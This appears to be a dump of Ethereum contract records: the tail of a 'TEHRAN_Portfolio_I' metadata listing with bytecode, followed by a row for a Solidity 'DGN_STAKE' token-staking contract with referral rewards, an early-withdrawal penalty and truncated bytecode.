// < 0x00000000000000000000000000000000000000000000000564713732B64E852B >
// < TEHRAN_Portfolio_I_metadata_line_4_____Mellat_Bank_20250515 >
// < pvk5r3SRcL08r8v1XQh80R8B2gm5eASP39SiXaiC99i5WqLBpCDEwZtI0EAc0q45 >
// < u =="0.000000000000000001" : ] 000000171382463.440255000000000000 ; 000000208353305.657455000000000000 ] >
// < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 >
// < TEHRAN_Portfolio_I_metadata_line_5_____Chadormalu_20250515 >
// < li2TG8666iOSDrgJ878M2N3A3A19aN23Rt6xbvAarkDiHC30LsA226spOk3g1X06 >
// < u =="0.000000000000000001" : ] 000000208353305.657455000000000000 ; 000000252385082.637906000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 >
// < TEHRAN_Portfolio_I_metadata_line_6_____Khouz_Steel_20250515 >
// < MVG84bw9wR083X7q9lFvMNerqu7gRE3ZSZZ5avTX2654d8e5v3C5UHT37zJAffaL >
// < u =="0.000000000000000001" : ] 000000252385082.637906000000000000 ; 000000291751435.337723000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 >
// < TEHRAN_Portfolio_I_metadata_line_7_____Mobarakeh_Steel_20250515 >
// < UxJ0h6Ub5rOFq3R8166mHcLevX5eXq2UfoutUTXo79ZCgSgp5H2YM5195ya512od >
// < u =="0.000000000000000001" : ] 000000291751435.337723000000000000 ; 000000343072100.951209000000000000 ] >
// < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D >
// < TEHRAN_Portfolio_I_metadata_line_8_____Ghadir_Inv_20250515 >
// < 02muY5Ca7HZ7hB90ueT1yqyrE7CrihUYBS4RQIxtZCf1WJ1AKMcdBE490Q1GS84C >
// < u =="0.000000000000000001" : ] 000000343072100.951209000000000000 ; 000000397620165.608982000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 >
// < TEHRAN_Portfolio_I_metadata_line_9_____Gol_E_Gohar_20250515 >
// < c634eWNMtsB8lomjYCSBKrwg8B7rWBSS63Hb6Rs2suA5M79kGfMwImJD2eCIxnru >
// < u =="0.000000000000000001" : ] 000000397620165.608982000000000000 ; 000000476761514.460519000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C >
// < TEHRAN_Portfolio_I_metadata_line_10_____Iran_Mobil_Tele_20250515 >
// < GHy2nJ8217UvQ686c3uN387nhYv6U0isPL0A6OCzz15k87aEhgULivrKHn9YXPIh >
// < u =="0.000000000000000001" : ] 000000476761514.460519000000000000 ; 000000541506851.333809000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_11_____Iran_Khodro_20250515 >
// < iX1B36lIfohy6nr8J15kvXJ3Y829npAH73PTQ3s5Jdqyt37fxLY08h0m3Izr4Rmo >
// < u =="0.000000000000000001" : ] 000000541506851.333809000000000000 ; 000000616108313.583000000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC >
// < TEHRAN_Portfolio_I_metadata_line_12_____IRI_Marine_Co_20250515 >
// < T2F2XmuSgNzql7yJb6XT21H1v3rlG73J0vXdve2vQ7w6d7ic8cbT8n2D1t5Tj32G >
// < u =="0.000000000000000001" : ] 000000616108313.583000000000000000 ; 000000652705135.584955000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 >
// < TEHRAN_Portfolio_I_metadata_line_13_____Metals_Min_20250515 >
// < H15yBY3c0C1ju5t0en19sux3msBqmf3842TQGL6nEyFFIGf609149v3lZ7dD83lM >
// < u =="0.000000000000000001" : ] 000000652705135.584955000000000000 ; 000000718182786.421577000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 >
// < TEHRAN_Portfolio_I_metadata_line_14_____MAPNA_20250515 >
// < 8I82SG1yNK9kIuE30orKF7CJo33QZMiA176mkv66Mp26clRtE59npC78J3XoTE3a >
// < u =="0.000000000000000001" : ] 000000718182786.421577000000000000 ; 000000764558559.723822000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 >
// < TEHRAN_Portfolio_I_metadata_line_15_____Iran_Tele_Co_20250515 >
// < i9Icd0eLY2D3iOvbZ5T5ZUZdBKrjxV4UI67M6yN05X2tdrWf2v4U9o7EP1jzrVXH >
// < u =="0.000000000000000001" : ] 000000764558559.723822000000000000 ; 000000841393243.264593000000000000 ] >
// < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 >
// < TEHRAN_Portfolio_I_metadata_line_16_____Mobin_Petr_20250515 >
// < Ob9Ay7W1Ke7ngjrgl3zjBA12b4TCb408XF5zVG9me0e8qS2cMte82S1EBUO7u6g9 >
// < u =="0.000000000000000001" : ] 000000841393243.264593000000000000 ; 000000886895158.844619000000000000 ] >
// < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 >
// < TEHRAN_Portfolio_I_metadata_line_17_____I_N_C_Ind_20250515 >
// < Uo1SlsPKjGhB5uH6t1f267811O3h36hElju09LS1B0927L2pK1XVg9q6XnuZ46Wp >
// < u =="0.000000000000000001" : ] 000000886895158.844619000000000000 ; 000000938814504.253922000000000000 ] >
// < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 >
// < TEHRAN_Portfolio_I_metadata_line_18_____Omid_Inv_Mng_20250515 >
// < 0tu1Zf8X0xz03k3gWV0wtmLy885VT72o3buu8O33Uqqe7MGG0r2EDm20qNdiJ6ED >
// < u =="0.000000000000000001" : ] 000000938814504.253922000000000000 ; 000001006010100.736080000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 >
// < TEHRAN_Portfolio_I_metadata_line_19_____Parsian_Oil_Gas_20250515 >
// < gCJ4N8Sh229LFUkIGHD0Edfr94uYcASk8ISn8Y6YvraP0Hv9LJw5Gkoi916dYwj5 >
// < u =="0.000000000000000001" : ] 000001006010100.736080000000000000 ; 000001059393442.681370000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A >
// < TEHRAN_Portfolio_I_metadata_line_20_____Fanavaran_Petr_20250515 >
// < 5pO3wh9sB877u026945fUftWNnb18k228zyn7zQ1h3ej2yecR7sV45fufUQAiOdv >
// < u =="0.000000000000000001" : ] 000001059393442.681370000000000000 ; 000001103775973.755440000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_21_____Jam_Petr_20250515 >
// < 1726okLV3BR36B6jG51TCfy1752d70ao1784LGFmKmazeSr8QPzqc5HCR423hTfE >
// < u =="0.000000000000000001" : ] 000001103775973.755440000000000000 ; 000001158796138.464220000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB >
// < TEHRAN_Portfolio_I_metadata_line_22_____Khark_Petr_20250515 >
// < QAo66E5QD3A49PdgO3b9nlA723XfFF66FT4WQBQ061P310a4byPSW8I2WROKI34Y >
// < u =="0.000000000000000001" : ] 000001158796138.464220000000000000 ; 000001238453992.454110000000000000 ] >
// < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 >
// < TEHRAN_Portfolio_I_metadata_line_23_____Khalij_Fars_20250515 >
// < x6EWsrz1C66G4K0qBT7Rq0o3QQO95heFL95pAAv0J1Nmh3GM36Oqc7SR8G3LCwHE >
// < u =="0.000000000000000001" : ] 000001238453992.454110000000000000 ; 000001295153126.350380000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 >
// < TEHRAN_Portfolio_I_metadata_line_24_____BA_Oil_Refinie_20250515 >
// < BJ5571Q2TAEe0yKf6095R51u1Chuz5gTkGUkDJNi8kXGmn5me2R36Z387x880n7x >
// < u =="0.000000000000000001" : ] 000001295153126.350380000000000000 ; 000001331882490.001130000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 >
// < TEHRAN_Portfolio_I_metadata_line_25_____Isf_Oil_Ref_Co_20250515 >
// < 4wkB3H1Ejh5q96FEr1h68EX4qHYV1898VzqMf7hw4eZ4jA6YNs50VK3Kp8GFlRW5 >
// < u =="0.000000000000000001" : ] 000001331882490.001130000000000000 ; 000001372467359.378910000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A >
// < TEHRAN_Portfolio_I_metadata_line_26_____Pardis_Petr_20250515 >
// < 6976Bf6rB8xqvt53nWO02IblZ6i6IBlKYEvSi5q5KgDS7JoWns3TpY7DM22Zg2t0 >
// < u =="0.000000000000000001" : ] 000001372467359.378910000000000000 ; 000001442005160.931830000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 >
// < TEHRAN_Portfolio_I_metadata_line_27_____Tamin_Petro_20250515 >
// < UE9Plj5Xu1xts7r9TFR8J8S9WKjr74p6C4ns1l92ax9IUqLGwxWq636nr52H2V63 >
// < u =="0.000000000000000001" : ] 000001442005160.931830000000000000 ; 000001483346707.538130000000000000 ] >
// < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 >
// < TEHRAN_Portfolio_I_metadata_line_28_____Palayesh_Tehran_20250515 >
// < wh6Be2p87jY5L256U64dUkul4K3Sm3l53w90vrY3hIq5xh9NCEWBROZhs3Z8vIyU >
// < u =="0.000000000000000001" : ] 000001483346707.538130000000000000 ; 000001536886446.281760000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 >
// < TEHRAN_Portfolio_I_metadata_line_29_____Pension_Fund_20250515 >
// < zyCBwuXC1p4RKGez6gucHmUFrb33bRDe6sdpRSmyH8n17SQ2KpQCAI7bkLN8Kb7q >
// < u =="0.000000000000000001" : ] 000001536886446.281760000000000000 ; 000001609848020.489690000000000000 ] >
// < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 >
// < TEHRAN_Portfolio_I_metadata_line_30_____Saipa_20250515 >
// < 3eHX0wKcN8iu78t3Pw18C16cTZnE6Y3e438G7AbLOw6kvv9lT0wr9864e2ehLVaL >
// < u =="0.000000000000000001" : ] 000001609848020.489690000000000000 ; 000001670977351.576980000000000000 ] >
// < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_31_____Hegmatan_Sugar_20250515 >
// < eL4Rp6K62TfJG0hFW59g8fQ3Y3QwIHU8asGPgzHz12LeM1fXAT392JR8z7qTx54F >
// < u =="0.000000000000000001" : ] 000001670977351.576980000000000000 ; 000001719124820.482130000000000000 ] >
// < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 >
// < TEHRAN_Portfolio_I_metadata_line_32_____F_Kh_Cement_20250515 >
// < mo2Z231Z1R1ea7LN4v27p68qZGskf5V8f1480pM70GL0j8AcGSuoE1pmh5M0G7DU >
// < u =="0.000000000000000001" : ] 000001719124820.482130000000000000 ; 000001776529382.001640000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E >
// < TEHRAN_Portfolio_I_metadata_line_33_____Iran_Aluminium_20250515 >
// < L5hatOCJ2sTdQL9yx94tnOXPn2vYG0Vz3R0YXbvgoq3hwp7ErDFCYMeSY96J39T8 >
// < u =="0.000000000000000001" : ] 000001776529382.001640000000000000 ; 000001820306550.556860000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 >
// < TEHRAN_Portfolio_I_metadata_line_34_____Margarin_20250515 >
// < bphJ456D5Z23iI03dD0VKnq3u5m40GBHl6jX90E7U4QlKcsnruL030C052L91oJw >
// < u =="0.000000000000000001" : ] 000001820306550.556860000000000000 ; 000001870624899.426850000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 >
// < TEHRAN_Portfolio_I_metadata_line_35_____Qayen_Cement_20250515 >
// < P0470BCzNVwuvg1I8b0y9Vb5Mwu38Wg3O01kQc5Q6371xfrn99FS2Ejy2Nk74IM7 >
// < u =="0.000000000000000001" : ] 000001870624899.426850000000000000 ; 000001916006437.994380000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 >
// < TEHRAN_Portfolio_I_metadata_line_36_____Isfahan_Cement_20250515 >
// < yva9qPHPK9KRQxI2tvQ014Rzdy16z8Wu2aO0n2m28oBCgBPgU5YfBZRmElB6Gj2D >
// < u =="0.000000000000000001" : ] 000001916006437.994380000000000000 ; 000001974212601.827640000000000000 ] >
// < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 >
// < TEHRAN_Portfolio_I_metadata_line_37_____Mazandaran_Cement_20250515 >
// < v63MfSre8ZYIHEe9Y4KC5p7TkZ1yGRn5m1tcyY9xRHJuEXKy9e9D1x5QlBZ3QCsg >
// < u =="0.000000000000000001" : ] 000001974212601.827640000000000000 ; 000002022950243.758070000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 >
// < TEHRAN_Portfolio_I_metadata_line_38_____Tejarat_Bank_20250515 >
// < GqHPds8351RtcMFWlC7Br4YizCVYqNs0cqebOof6c9AvePio0cuz494TQjtJa49j >
// < u =="0.000000000000000001" : ] 000002022950243.758070000000000000 ; 000002061752131.332030000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 >
// < TEHRAN_Portfolio_I_metadata_line_39_____Ghazvin_Sugar_20250515 >
// < 1BM3s10ziD4aeqRO5eS5H91Kk9810r9CD5P0do8T05NB4f43Z2rK8Gfs9Md6Q7rS >
// < u =="0.000000000000000001" : ] 000002061752131.332030000000000000 ; 000002103894666.113420000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 >
// < TEHRAN_Portfolio_I_metadata_line_40_____Mashad_Wheel_20250515 >
// < mKRtx4cQf930aNdKWa2CNyN23F8gLJZcqmBpp4K9R8DtA38hhu7x68B9KU1KK36I >
// < u =="0.000000000000000001" : ] 000002103894666.113420000000000000 ; 000002140354551.050680000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820d9f76409c1b2aca3c586958920c52868b5ee2c39b838d1081a29a1129624eb330029
|
{"success": true, "error": null, "results": {}}
| 9,351 |
0xee72148a0fc27e126d648e4a0c28affdc78f5ec0
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract DGN_STAKE is Owned{
using SafeMath for uint256;
uint256 public penaltyFee = 5; //5% penlaty fee applicable before lock up time
uint256 public totalRewards;
uint256 public totalStakes;
uint256 public firstYearRate = 20;
uint256 public secondYearRate = 15;
uint256 public afterSecondYearRate = 10;
uint256 public firstYearStakingPeriod = 1 weeks;
uint256 public secondYearStakingPeriod = 3 days;
uint256 public afterSecondYearStakingPeriod = 24 hours;
uint256 private contractStartDate;
address constant DGN = 0x7461C43bb1E96863233D72A09191008ee9217Ee8;
struct DepositedToken{
bool Exist;
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
address referrer;
}
mapping(address => DepositedToken) users;
event Staked(address staker, uint256 tokens);
event AddedToExistingStake(uint256 tokens);
event TokensClaimed(address claimer, uint256 stakedTokens);
event RewardClaimed(address claimer, uint256 reward);
//#########################################################################################################################################################//
//####################################################STAKING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
constructor() public{
contractStartDate = block.timestamp;
}
// ------------------------------------------------------------------------
// Start staking
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function STAKE(uint256 _amount, address _referrerID) public {
require(_referrerID == address(0) || users[_referrerID].Exist, "Invalid Referrer Id");
// add new stake
_newDeposit(DGN, _amount, _referrerID);
// update referral reward
_updateReferralReward(_amount, _referrerID);
// transfer tokens from user to the contract balance
ERC20Interface(DGN).transferFrom(msg.sender, address(this), _amount);
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() external {
require(users[msg.sender].activeDeposit > 0, "no running stake");
uint256 _penaltyFee = 0;
if(users[msg.sender].startTime + latestStakingPeriod() > now){ // claiming before lock up time
_penaltyFee = penaltyFee;
}
uint256 toTransfer = users[msg.sender].activeDeposit.sub(_onePercent(users[msg.sender].activeDeposit).mul(_penaltyFee));
// transfer staked tokens - apply 5% penalty and send back staked tokens
ERC20Interface(DGN).transfer(msg.sender, toTransfer);
// check if we have any pending reward, add it to pendingGains var
users[msg.sender].pendingGains = pendingReward(msg.sender);
emit TokensClaimed(msg.sender, toTransfer);
// update amount
users[msg.sender].activeDeposit = 0;
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
// transfer the reward to the claimer
ERC20Interface(DGN).transfer(msg.sender, pendingReward(msg.sender));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalRewards += pendingReward(msg.sender);
// add the reward to total claimed rewards
users[msg.sender].totalGained += pendingReward(msg.sender);
// update lastClaim amount
users[msg.sender].lastClaimedDate = now;
// reset previous rewards
users[msg.sender].pendingGains = 0;
}
//#########################################################################################################################################################//
//####################################################STAKING QUERIES######################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = 0;
uint256 expiryDate = (latestStakingPeriod()).add(users[_caller].startTime);
if(now < expiryDate)
_totalStakedTime = now.sub(users[_caller].lastClaimedDate);
else{
if(users[_caller].lastClaimedDate >= expiryDate) // if claimed after expirydate already
_totalStakedTime = 0;
else
_totalStakedTime = expiryDate.sub(users[_caller].lastClaimedDate);
}
uint256 _reward_token_second = ((latestStakingRate()).mul(10 ** 21)).div(365 days); // added extra 10^21
uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakedTime.mul(_reward_token_second))).div(10 ** 23); // remove extra 10^21 // the two extra 10^2 is for 100 (%)
return (reward.add(users[_caller].pendingGains));
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
function yourActiveStake(address _user) public view returns(uint256 _activeStake){
return users[_user].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function yourTotalStakesTillToday(address _user) public view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last stake of user
// ------------------------------------------------------------------------
function StakedOn(address _user) public view returns(uint256 _unixLastStakedTime){
return users[_user].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function totalStakeRewardsClaimedTillToday(address _user) public view returns(uint256 _totalEarned){
return users[_user].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate
// ------------------------------------------------------------------------
function latestStakingRate() public view returns(uint256 APY){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 rate;
if(yearOfContract == 1)
rate = firstYearRate;
else if(yearOfContract == 2)
rate = secondYearRate;
else
rate = afterSecondYearRate;
return rate;
}
// ------------------------------------------------------------------------
// Query to get the staking period
// ------------------------------------------------------------------------
function latestStakingPeriod() public view returns(uint256 Period){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 period;
if(yearOfContract == 1)
period = firstYearStakingPeriod;
else if(yearOfContract == 2)
period = secondYearStakingPeriod;
else
period = afterSecondYearStakingPeriod;
return period;
}
// ------------------------------------------------------------------------
// Query to get the staking time left
// ------------------------------------------------------------------------
function stakingTimeLeft(address _user) public view returns(uint256 _secsLeft){
if(users[_user].activeDeposit > 0){
uint256 left = 0;
uint256 expiryDate = (latestStakingPeriod()).add(StakedOn(_user));
if(now < expiryDate)
left = expiryDate.sub(now);
return left;
}
else
return 0;
}
//#########################################################################################################################################################//
//################################################################COMMON UTILITIES#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _newDeposit(address _tokenAddress, uint256 _amount, address _referrerID) internal{
require(users[msg.sender].activeDeposit == 0, "Already running");
require(_tokenAddress == DGN, "Only DGN tokens supported");
// add that token into the contract balance
// check if we have any pending reward, add it to pendingGains variable
users[msg.sender].pendingGains = pendingReward(msg.sender);
users[msg.sender].activeDeposit = _amount;
users[msg.sender].totalDeposits += _amount;
users[msg.sender].startTime = now;
users[msg.sender].lastClaimedDate = now;
users[msg.sender].referrer = _referrerID;
users[msg.sender].Exist = true;
totalStakes += _amount;
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function _onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Updates the reward for referrer
// ------------------------------------------------------------------------
function _updateReferralReward(uint256 _amount, address _referrerID) private{
users[_referrerID].pendingGains += _onePercent(_amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063b61aa7c7116100b8578063c66703941161007c578063c66703941461026f578063dec1b9dc14610277578063e350b8e41461027f578063e4598ee2146102ab578063f2fde38b146102d1578063f40f0f52146102f757610142565b8063b61aa7c7146101ed578063bd7b219414610213578063bf9befb11461021b578063c2ef64be14610223578063c3b893d51461024957610142565b806374c1c8ba1161010a57806374c1c8ba1461019f57806379372f9a146101a75780638a506262146101b15780638c28cb72146101b95780638da5cb5b146101c15780639472d38a146101e557610142565b80630e15561a14610147578063376285b0146101615780633dc10ad41461016957806367f7ab2b146101715780636831465414610179575b600080fd5b61014f61031d565b60408051918252519081900360200190f35b61014f610323565b61014f610329565b61014f61032f565b61014f6004803603602081101561018f57600080fd5b50356001600160a01b0316610335565b61014f610357565b6101af6103bb565b005b61014f610540565b61014f610546565b6101c961059d565b604080516001600160a01b039092168252519081900360200190f35b61014f6105ac565b61014f6004803603602081101561020357600080fd5b50356001600160a01b03166105b2565b6101af6105d0565